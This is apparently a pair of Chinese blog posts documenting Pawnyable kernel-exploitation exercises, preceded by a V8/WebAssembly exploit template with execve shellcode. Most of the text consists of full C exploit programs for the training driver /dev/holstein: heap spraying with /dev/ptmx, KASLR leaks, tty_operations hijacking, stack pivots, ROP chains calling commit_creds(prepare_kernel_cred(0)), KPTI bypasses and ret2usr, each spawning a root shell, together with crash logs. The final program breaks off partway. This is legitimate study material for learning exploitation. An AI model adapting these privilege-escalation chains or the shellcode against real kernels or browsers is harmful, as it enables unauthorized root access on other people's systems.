var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function d2u(v) {
  f64[0] = v;
  return u32;
}
function u2d(lo, hi) {
  u32[0] = lo;
  u32[1] = hi;
  return f64[0];
}
function ftoi(f)
{
  f64[0] = f;
    return bigUint64[0];
}
function itof(i)
{
    bigUint64[0] = i;
    return f64[0];
}
function hex(i)
{
    return i.toString(16).padStart(8, "0");
}

function fakeObj(addr_to_fake)
{
    ?
}

function addressOf(obj_to_leak)
{
    ?
}

function read64(addr)
{
    fake_array[1] = itof(addr - 0x8n + 0x1n);
    return fake_object[0];
}

function write64(addr, data)
{
    fake_array[1] = itof(addr - 0x8n + 0x1n);
    fake_object[0] = itof(data);
}

function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
  var data_buf = new ArrayBuffer(shellcode.length * 8);
  var data_view = new DataView(data_buf);
  var buf_backing_store_addr_lo = addressOf(data_buf) + 0x18n;
  var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n;
  var lov = d2u(read64(buf_backing_store_addr_lo))[0];
  var rwx_page_addr_lo = u2d(lov, d2u(rwx_addr)[0]);
  var hiv = d2u(read64(buf_backing_store_addr_up))[1];
  var rwx_page_addr_hi = u2d(d2u(rwx_addr, hiv)[1]);
  var buf_backing_store_addr = ftoi(u2d(lov, hiv));
  console.log("[*] buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));

  write64(buf_backing_store_addr_lo, ftoi(rwx_page_addr_lo));
  write64(buf_backing_store_addr_up, ftoi(rwx_page_addr_hi));
  for (let i = 0; i < shellcode.length; ++i)
    data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}

var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];
var array_map = ?;
var obj_map = ?;

var fake_array = [
  array_map,
  itof(0x4141414141414141n)
];

fake_array_addr = addressOf(fake_array);
console.log("[*] leak fake_array addr: 0x" + hex(fake_array_addr));
fake_object_addr = fake_array_addr - 0x10n;
var fake_object = fakeObj(fake_object_addr);
var wasm_instance_addr = addressOf(wasmInstance);
console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr));
var rwx_page_addr = read64(wasm_instance_addr + 0x68n);
console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr)));

var shellcode = [
  0x2fbb485299583b6an,
  0x5368732f6e69622fn,
  0x050f5e5457525f54n
];

copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();
本文前面用到的函数定义如下
1
2
3
4
5
6
7
8
9
10
11
function float_to_int(f)  
{  
  f64[0] = f;  
    return bigUint64[0];  
}  
  
function int_to_float(i)  
{  
    bigUint64[0] = i;  
    return f64[0];  
}  



Pawnable笔记（二）之 Heap Overflow
2024-09-01T12:15:00.000Z
前言
本系列文章记录笔者在跟随Pawnable学习Kernel Pwn过程中的一些问题与学到的东西。本文是该系列的第二篇文章。
漏洞模块分析
module_read和module_write函数存在明显堆溢出
module_read
1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned __int64 __fastcall module_read(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  __int64 v5; // [rsp+48h] [rbp-10h]

  printk(&unk_491);
  v5 = g_buf;
  if ( a3 >= 0x80000000 )
    BUG();
  check_object_size(g_buf, a3, 1u);
  if ( !copy_to_user(a2, v5, a3) )
    return a3;
  printk(&unk_4A7);
  return -22LL;
}
module_write
1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned __int64 __fastcall module_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  __int64 v5; // [rsp+50h] [rbp-8h]

  printk(&unk_4BE);
  v5 = g_buf;
  if ( a3 >= 0x80000000 )
    BUG();
  check_object_size(g_buf, a3, 0);
  if ( !copy_from_user(v5, a2, a3) )
    return a3;
  printk(&unk_4D5);
  return -22LL;
}
内核堆内存分配机制
这部分内容尤其重要，但初学者很难完全搞懂其细节分配机制，因此我们主要围绕以下两点来看就行：
内核如何根据要分配的大小确定切块的位置，以及切块时如何管理每个块；
在释放对应块后，内核如何管理这些空闲内存块。
但因为笔者自己对这块也不是很了解，所以此处推荐参考evilpan师傅的《Linux内核的内存管理与漏洞利用案例分析》，和a3师傅的Linux Kernel 内存管理浅析 III - Slub Allocator
漏洞利用思路简析
在堆溢出中，我们无法像栈溢出那样直接劫持控制流造成kernel panic，而是需要利用堆溢出来覆写内核对象，在覆写后就可能实现劫持控制流。而要利用它，我们就需要构造堆布局为如下这种情形：在一个可溢出的脆弱对象后存在一个目标内核对象，这样我们在溢出后就可以轻松修改目标对象中的某些值。
在内核中，要实现这种情形，我们最常用的就是Heap Spray（堆喷），它的目标就是喷射大量内核对象，大大提升目标对象存在于脆弱对象后的概率，从而有效完成利用。在本题中，我们可以使用如下代码：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include
#include
#include
#include
#include

int main()
{
//heap spray
int spray[100] = {0};
for(int i = 0; i < 50; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
int fd = open("/dev/holstein", 2);
for(int i = 50; i < 100; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);

//heap overflow write
char buf[0x500];
memset(buf, 'A', 0x500);
write(fd, buf, 0x500);

return 0;
}
在覆盖前对应脆弱对象内存地址为
1
2
3
4
pwndbg> x/16gx 0xffff903c81cff000
0xffff903c81cff000:0x00000000000000000x0000000000000000
0xffff903c81cff010:0x00000000000000000x0000000000000000
0xffff903c81cff020:0x00000000000000000x0000000000000000
其后的tty结构体地址为
1
2
3
4
5
pwndbg> x/16gx 0xffff903c81cff000+0x400
0xffff903c81cff400:0x00000001000054010x0000000000000000
0xffff903c81cff410:0xffff903c8125fe400xffffffff8fc38880
0xffff903c81cff420:0x00000000000000320x0000000000000000
0xffff903c81cff430:0x00000000000000000xffff903c81cff438
此时如果我们溢出写入，那么就会覆盖到这个tty结构体，我们通过对/dev/ptmx进行操作来调用tty结构体中函数表中的函数。接下来我们来尝试一步步利用这个漏洞，原题目开启了所有保护，我们先关闭所有保护，再逐个开启exploit
Add KASLR
添加了KASLR之后，我们需要泄露信息来计算地址，而tty结构体中+0x18处为const struct tty_operations *ops;，通过这个指针就可以泄露KASLR基址（该地址减去0xc38880即可），+0x38处存在一个指向自己的指针，可用来找到堆地址。
泄露地址
1
2
3
4
5
6
7
8
9
10
//leak KASLR base
char buf[0x500];
long KASLR_BASE = 0;
long g_buf = 0;
memset(buf, 'A', 0x500);
read(fd, buf, 0x500);
KASLR_BASE = *((long*)&buf[0x400+0x18]) - 0xc38880;
g_buf = *((long*)&buf[0x400+0x38]) - 0x438;
printf("KASLR: %p\n", (char*)KASLR_BASE);
printf("g_buf: %p\n", (char*)g_buf);
漏洞验证POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include
#include
#include
#include
#include

int main()
{
        //heap spray
        int spray[100] = {0};
        for(int i = 0; i < 50; i++)
            spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        int fd = open("/dev/holstein", 2);
        for(int i = 50; i < 100; i++)
            spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);

//leak KASLR base
    char buf[0x500];
    long KASLR_BASE = 0;
    long g_buf = 0;
    memset(buf, 'A', 0x500);
    read(fd, buf, 0x500);
    KASLR_BASE = *((long*)&buf[0x400+0x18]) - 0xc38880;
    g_buf = *((long*)&buf[0x400+0x38]) - 0x438;
    printf("KASLR: %p\n", (char*)KASLR_BASE);
    printf("g_buf: %p\n", (char*)g_buf);

// craft fake function table
    unsigned long *p = (unsigned long *)&buf;
    for (int i = 0; i < 0x40; i++) 
{
        *p++ = 0xffffffffdead0000 + i*0x10;
    }
    *(unsigned long *)&buf[0x418] = g_buf;
    write(fd, buf, 0x420);

    // hijack control flow
    for (int i = 0; i < 100; i++) 
{
        ioctl(spray[i], 0xdeadbeef, 0xcafebabe);
    }

    getchar();
close(fd);
    for (int i = 0; i < 100; i++)
        close(spray[i]);
return 0;
}
然后运行poc，得到如下报错
1
2
3
4
5
/ # ./kaslr 
KASLR: 0xffffffff8ea00000
g_buf: 0xffff9ac381cf5000
BUG: unable to handle page fault for address: ffffffffdead00c0
#PF: supervisor instruction fetch in kernel mode
可以看到KASLR和g_buf基址均已被泄露，且程序运行到了ffffffffdead00c0位置，说明此时执行流已被我们控制，且程序调用对应函数表索引为0xc
我在尝试使用ret2usr对其进行提权时得到了如下报错
1
2
BUG: stack guard page was hit at (____ptrval____) (stack is (____ptrval____)..(____ptrval____))
kernel stack overflow (double-fault): 0000 [#1] SMP NOPTI
即产生了内核栈溢出，搜索发现这种的解决办法一般为stack pivot，既然这样，那就直接使用KROP就行了，继续开启保护
Add SMEP/SMAP
使用KROP前需要进行stack pivot，因为我们只能控制程序的执行流，而不能控制栈。为了进行栈迁移，我们需要找到可用的gadget，但同时我们也要观察下进入执行流前的寄存器环境。给堆中写入payload和伪造函数表，同时溢出覆盖tty_operations函数表地址，使用代码如下：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#include
#include
#include
#include
#include
#include

long swapgs_restore_regs_and_return_to_usermode = 0x800e10;
long prepare_kernel_cred = 0x74650;
long commit_creds = 0x744b0;
size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");
    
    system("/bin/sh");
    
    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}

int main()
{
        int spray[100];
        for (int i = 0; i < 50; i++)
            spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);

        int fd = open("/dev/holstein", O_RDWR);

        for (int i = 50; i < 100; i++)
            spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);

        //leak KASLR base
        char buf[0x500];
        long KASLR_BASE = 0;
        long g_buf = 0;
        memset(buf, 'A', 0x500);
        read(fd, buf, 0x500);
        KASLR_BASE = *((long*)&buf[0x400+0x18]) - 0xc38880;
        g_buf = *((long*)&buf[0x400+0x38]) - 0x438;
        printf("KASLR: %p\n", (char*)KASLR_BASE);
        printf("g_buf: %p\n", (char*)g_buf);

        prepare_kernel_cred += KASLR_BASE;
        commit_creds += KASLR_BASE;
        swapgs_restore_regs_and_return_to_usermode += KASLR_BASE;
        long pop_rdi = KASLR_BASE + 0xd748d;
        long mov_rdi_rax = KASLR_BASE + 0x62707b;
        long pop_rcx = KASLR_BASE + 0x13c1c4;
        long mov_rsp_rax = KASLR_BASE + 0x801114;
        long pop_r12_rbx = KASLR_BASE + 0x28b69e;

        //construct rop chain
        unsigned long* p = (unsigned long*)&buf;
        int i = 0;
        p[i++] = pop_rdi;
        p[i++] = 0;
        p[i++] = prepare_kernel_cred;
        p[i++] = pop_rcx;
        p[i++] = 0;
        p[i++] = mov_rdi_rax;
        p[i++] = commit_creds;

        p[i++] = swapgs_restore_regs_and_return_to_usermode + 0x16;
        p[i++] = 0;
        p[i++] = 0;

        p[i++] = (size_t)get_root_shell;
        p[i++] = user_cs;
        p[i++] = user_rflags;
        p[i++] = user_sp;
        p[i++] = user_ss;
        for(; i<100; i++)
            p[i] = g_buf;

// craft fake function table
    *(size_t *)&buf[0x418] = g_buf+15*8;
    write(fd, buf, 0x420);

    // hijack control flow
    for (int i = 0; i < 100; i++) 
{
        ioctl(spray[i], 0xdeadbeef, 0xcafebabe);
    }

    getchar();
close(fd);
    for (int i = 0; i < 100; i++)
        close(spray[i]);
return 0;
}
产生报错为
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/ # ./exp 
KASLR: 0xffffffffb3600000
g_buf: 0xffffa26501d05000
kernel tried to execute NX-protected page - exploit attempt? (uid: 0)
BUG: unable to handle page fault for address: ffffa26501d05000
#PF: supervisor instruction fetch in kernel mode
#PF: error_code(0x0011) - permissions violation
PGD 3801067 P4D 3801067 PUD 3802067 PMD 8000000001c001e3 
Oops: 0011 [#1] SMP NOPTI
CPU: 0 PID: 162 Comm: exp Tainted: G           O      5.15.0 #1
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.14.0-0-g155821a4
RIP: 0010:0xffffa26501d05000
Code: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f
RSP: 0018:ffffa4c7c017fe10 EFLAGS: 00000286
RAX: ffffa26501d05000 RBX: ffffa26501d05800 RCX: 00000000deadbeef
RDX: 00000000cafebabe RSI: 00000000deadbeef RDI: ffffa26501d05400
RBP: ffffa4c7c017fea8 R08: 00000000cafebabe R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000000 R12: 00000000deadbeef
R13: ffffa26501d05400 R14: 00000000cafebabe R15: ffffa26501a4a700
FS:  0000000000409bd8(0000) GS:ffffa26502400000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: ffffa26501d05000 CR3: 0000000001b76000 CR4: 00000000003006f0
触发漏洞的部分为ioctl(spray[i], 0xdeadbeef, 0xcafebabe)，通过寄存器环境可以看到有很多寄存器的值都是deadbeef和cafebabe，这时就可以利用寄存器及gadget来对rsp进行赋值了，例如，我找到了如下gadget
1
0xffffffff811077fc : push rdx ; add byte ptr [rbx + 0x41], bl ; pop rsp ; pop r13 ; pop rbp ; ret
然后就是在合适位置伪造函数指针为此gadget，同时在ioctl时控制参数即可，exp为
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#include
#include
#include
#include
#include
#include

long swapgs_restore_regs_and_return_to_usermode = 0x800e10;
long prepare_kernel_cred = 0x74650;
long commit_creds = 0x744b0;
size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");
    
    system("/bin/sh");
    
    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}

int main()
{
        saveStatus();
        int spray[100];
        for (int i = 0; i < 50; i++)
            spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);

        int fd = open("/dev/holstein", O_RDWR);

        for (int i = 50; i < 100; i++)
            spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);

        //leak KASLR base
        char buf[0x500];
        long KASLR_BASE = 0;
        long g_buf = 0;
        memset(buf, 'A', 0x500);
        read(fd, buf, 0x500);
        KASLR_BASE = *((long*)&buf[0x400+0x18]) - 0xc38880;
        g_buf = *((long*)&buf[0x400+0x38]) - 0x438;
        printf("KASLR: %p\n", (char*)KASLR_BASE);
        printf("g_buf: %p\n", (char*)g_buf);

        //0xffffffff8162707b : mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
        //0xffffffff81d7734d : mov rdi, r15 ; ret
        //0xffffffff811077fc : push rdx ; add byte ptr [rbx + 0x41], bl ; pop rsp ; pop r13 ; pop rbp ; ret

        prepare_kernel_cred += KASLR_BASE;
        commit_creds += KASLR_BASE;
        swapgs_restore_regs_and_return_to_usermode += KASLR_BASE;
        long pop_rdi = KASLR_BASE + 0xd748d;
        long mov_rdi_rax = KASLR_BASE + 0x62707b;
        long pop_rcx = KASLR_BASE + 0x13c1c4;
        long push_rdx_pop_rsp_pp_ret = KASLR_BASE + 0x1077fc;
        long pop_r12_rbx = KASLR_BASE + 0x28b69e;
        long swapgs = 0x62668e + KASLR_BASE;
        long iretq = 0x800eb7 + KASLR_BASE;

        //construct rop chain
        unsigned long* p = (unsigned long*)&buf;
        int i = 0;
        p[i++] = pop_rdi;
        p[i++] = 0;
        p[i++] = prepare_kernel_cred;
        p[i++] = pop_rcx;
        p[i++] = 0;
        p[i++] = mov_rdi_rax;
        p[i++] = commit_creds;

        p[i++] = pop_r12_rbx;
        p[i++] = 0;
        p[i++] = 0;

        p[i++] = pop_r12_rbx;
        p[i++] = 0;
        p[i++] = push_rdx_pop_rsp_pp_ret;//fake_func to stack pivot

        p[i++] = swapgs;
        p[i++] = iretq;

        p[i++] = (size_t)get_root_shell;
        p[i++] = user_cs;
        p[i++] = user_rflags;
        p[i++] = user_sp;
        p[i++] = user_ss;

// craft fake function table
    *(size_t *)&buf[0x418] = g_buf;
    write(fd, buf, 0x420);

    // hijack control flow
    for (int i = 0; i < 100; i++) 
{
        ioctl(spray[i], 0, g_buf-0x10);
    }

    getchar();
close(fd);
    for (int i = 0; i < 100; i++)
        close(spray[i]);
return 0;
}
Add KPTI
添加KPTI后，仅需将rop链中的
1
2
p[i++] = swapgs;
p[i++] = iretq;
更换为
1
2
3
p[i++] = swapgs_restore_regs_and_return_to_usermode+0x16;
p[i++] = 0;
p[i++] = 0;
AAW/AAR（待补充
我们首先构造一个AAW和AAR原语，然后再讨论可利用的方法
AAW/AAR原语
首先找到一个有效的赋值gadget，然后AAW如下
1
2
3
4
5
6
7
8
9
10
11
12
//0xffffffff810477f7 : mov qword ptr [rdx], rcx ; ret
void AAW(size_t add, size_t val)
{
        unsigned long gadget = KASLR_BASE + 0x477f7;
        p = (unsigned long*)&buf;
        p[0xc] = gadget;
        *(unsigned long*)&buf[0x418] = g_buf;
        write(fd, buf, 0x420);

        for(int i = 0; i < 100; i++)
                ioctl(spray[i], val, add);
}
同理，找到有效gadget，AAR如下
1

修改usermode_helpers提权
修改cred结构体提权


Pawnable笔记（一）之 Kernel ROP
2024-08-17T12:15:00.000Z
🐾What’s Pawnyable?🐾
Pawnyableは、中〜上級者がpwn(Binary Exploitation)を勉強するための資料です。
站点地址：Linux Kernel Exploitation | PAWNYABLE!
前言
本系列文章记录笔者在跟随Pawnable学习Kernel Pwn过程中的一些问题与学到的东西。本文是该系列的第一篇文章。
确保文件系统正常启动
下载LK-01，若重打包后出现报错，使用sudo打包运行即可。
使具有 root 权限
在init脚本中加入exec setsid /bin/cttyhack setuidgid 0 /bin/sh(需要在最后一行启动shell之前写入，这种方法似乎不会执行/etc/init.d/rcS脚本，建议采取下一种方法)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/bin/sh

# devtmpfs does not get automounted for initramfs
/bin/mount -t devtmpfs devtmpfs /dev

# use the /dev/console device node from devtmpfs if possible to not
# confuse glibc's ttyname_r().
# This may fail (E.G. booted with console=), and errors from exec will
# terminate the shell, so use a subshell for the test
if (exec 0/dev/null; then
    exec 0
    exec 1>/dev/console
    exec 2>/dev/console
fi

exec setsid /bin/cttyhack setuidgid 0 /bin/sh
exec /sbin/init "$@"
也可以修改/etc/init.d/S99pawnyable，该脚本由/etc/init.d/rcS调用，而/etc/init.d/rcS在系统启动时由/sbin/init程序启动
修改/etc/init.d/S99pawnyable中setsid cttyhack setuidgid 1337 sh的1337改为0即可
比较commit_creds函数的rdi
root用户
1
2
3
4
5
6
7
8
9
pwndbg> x/16gx 0xffff88800328e500
0xffff88800328e500:0x00000000000000010x0000000000000000
0xffff88800328e510:0x00000000000000000x0000000000000000
0xffff88800328e520:0x00000000000000000x0000000000000000
0xffff88800328e530:0x000001ffffffffff0x000001ffffffffff
0xffff88800328e540:0x000001ffffffffff0x0000000000000000
0xffff88800328e550:0xffffffff81e32b000xffffffff81e32b80
0xffff88800328e560:0xffff888002d205100x0000000000000000
0xffff88800328e570:0x00000000000000000x0000000000000000
普通用户（uid=1337
1
2
3
4
5
6
7
8
9
pwndbg> x/16gx 0xffff888003175b80
0xffff888003175b80:0x00000539000000010x0000000000000539
0xffff888003175b90:0x00000000000005390x0000000000000539
0xffff888003175ba0:0x00000000000005390x0000000000000000
0xffff888003175bb0:0x000001ffffffffff0x000001ffffffffff
0xffff888003175bc0:0x000001ffffffffff0x0000000000000000
0xffff888003175bd0:0xffff8880031755000xffffffff81e32b80
0xffff888003175be0:0xffff888002d205100x0000000000000000
0xffff888003175bf0:0x00000000000000000x0000000000000000
rdi为传入给commit_creds函数的cred结构体地址，cred结构体如下（kernel version: v5.11）
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
struct cred {
atomic_tusage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_tsubscribers;/* number of processes subscribed */
void*put_addr;
unsignedmagic;
#define CRED_MAGIC0x43736564
#define CRED_MAGIC_DEAD0x44656144
#endif
kuid_tuid;/* real UID of the task */
kgid_tgid;/* real GID of the task */
kuid_tsuid;/* saved UID of the task */
kgid_tsgid;/* saved GID of the task */
kuid_teuid;/* effective UID of the task */
kgid_tegid;/* effective GID of the task */
kuid_tfsuid;/* UID for VFS ops */
kgid_tfsgid;/* GID for VFS ops */
unsignedsecurebits;/* SUID-less security management */
...
        
} __randomize_layout;
结构体中不同的部分实际上就是用户的id不同
安全机制
查看run.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/sh
qemu-system-x86_64 \
    -m 64M \
    -nographic \
    -kernel bzImage \
    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 nopti nokaslr" \
    -no-reboot \
    -cpu qemu64 \
    -smp 1 \
    -monitor /dev/null \
    -initrd rootfs_updated.cpio \
    -net nic,model=virtio \
    -net user
    未开启kpti，且nokaslr，smap和smep也未开启
修改run.sh中的-cpu qemu64为-cpu qemu,+smep,+smap即可开启
执行head /proc/kallsyms，得到如下地址，则基地址为ffffffff81000000(此时KADR未开启)
1
2
3
4
5
6
7
8
9
10
11
/ # head /proc/kallsyms 
ffffffff81000000 T startup_64
ffffffff81000000 T _stext
ffffffff81000000 T _text
ffffffff81000040 T secondary_startup_64
ffffffff81000045 T secondary_startup_64_no_verify
ffffffff81000110 t verify_cpu
ffffffff81000210 T sev_verify_cbit
ffffffff81000220 T start_cpu0
ffffffff81000230 T __startup_64
ffffffff810005e0 T startup_64_setup_env
模块漏洞与触发
module_read中存在越界读取
module_write中存在越界写入，栈溢出
module_close中存在UAF
栈溢出漏洞的简单触发POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include
#include
#include

int main()
{
int fd = open("/dev/holstein", 2);
if(fd == -1)
{
printf("模块打开失败！\n");
return 0;
}

char buf[0x500];
for(int i = 0; i < 0x500; i++)
{
buf[i] = 'A';
}

write(fd, buf, 0x500);
return 0;
}
运行后产生kernel panic
1
2
3
4
5
6
7
8
9
10
11
12
13
RIP: 0010:0x4141414141414141
Code: Unable to access opcode bytes at RIP 0x4141414141414117.
RSP: 0018:ffffc9000046beb8 EFLAGS: 00000202
RAX: 0000000000000500 RBX: ffff888003169100 RCX: 0000000000000000
RDX: 000000000000007f RSI: ffffc9000046bea8 RDI: ffff888003299400
RBP: 4141414141414141 R08: 4141414141414141 R09: 4141414141414141
R10: 4141414141414141 R11: 4141414141414141 R12: 0000000000000500
R13: 0000000000000000 R14: 00007ffca658d210 R15: ffffc9000046bef8
FS:  0000000000405678(0000) GS:ffff888003800000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 0000000000403000 CR3: 000000000327e000 CR4: 00000000000006f0
Kernel panic - not syncing: Fatal exception
Kernel Offset: disabled
stack-overflow
常规rop
commit_creds(prepare_kernel_cred(NULL))提权，no kaslr  no kpti  no smep  no smap，事实上，如果加入smep/smap保护，该exp仍能执行，因为该过程中并未在内核态下执行和访问用户态数据
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#include
#include
#include

//0xffffffff8160c96b : mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
#define swapgs 0xffffffff8160bf7e
#define iretq 0xffffffff810202af
#define mov_rdi_rax_ret 0xffffffff8160c96b
#define pop_rcx_ret 0xffffffff812ea083
#define prepare_kernel_cred 0xffffffff8106e240
#define commit_creds 0xffffffff8106e390
#define pop_rdi 0xffffffff8127bbdc

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");
    
    system("/bin/sh");
    
    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}

int main()
{
saveStatus();
int fd = open("/dev/holstein", 2);
if(fd == -1)
{
printf("Module holstein open error!\n");
return 0;
}

int i;
long rop_chain[0x100];
for(i = 0; i < 0x81; i++)
rop_chain[i] = 0;
rop_chain[i++] = pop_rdi;
rop_chain[i++] = 0;
rop_chain[i++] = prepare_kernel_cred;
rop_chain[i++] = pop_rcx_ret;
rop_chain[i++] = 0;
rop_chain[i++] = mov_rdi_rax_ret;
rop_chain[i++] = commit_creds;
rop_chain[i++] = swapgs;
rop_chain[i++] = iretq;
rop_chain[i++] = (long)get_root_shell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;

write(fd, rop_chain, 0x500);
return 0;
}
ret2usr
只是把rop中的commit_creds(prepare_kernel_cred(NULL))放到了用户代码中，在加入smep/smap保护后，产生错误。但事实上smap/smep保护是可以绕过的，因为该保护由CR4寄存器控制
如图，只要我们能修改CR4寄存器的第20，21位为0则可以关闭该保护（在该挑战绕过过程中，我发现似乎没有可用的gadget来对cr4寄存器进行修改，因此只好作罢
但如果加入了KPTI保护，那么ret2usr便无法成功，对于开启了 KPTI 的内核而言，内核页表的用户地址空间无执行权限，因此当内核尝试执行用户空间代码时，由于对应页顶级表项没有设置可执行位，因此会直接 panic
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#include
#include
#include

//0xffffffff8160c96b : mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
#define swapgs 0xffffffff8160bf7e
#define iretq 0xffffffff810202af
#define mov_rdi_rax_ret 0xffffffff8160c96b
#define pop_rcx_ret 0xffffffff812ea083
#define prepare_kernel_cred 0xffffffff8106e240
#define commit_creds 0xffffffff8106e390
#define pop_rdi 0xffffffff8127bbdc

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");
    
    system("/bin/sh");
    
    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}

/* for ret2usr attacker */
void get_root_privilige()
{
    void *(*prepare_kernel_cred_ptr)(void *) = 
                                         (void *(*)(void*)) prepare_kernel_cred;
    int (*commit_creds_ptr)(void *) = (int (*)(void*)) commit_creds;
    (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

int main()
{
saveStatus();
int fd = open("/dev/holstein", 2);
if(fd == -1)
{
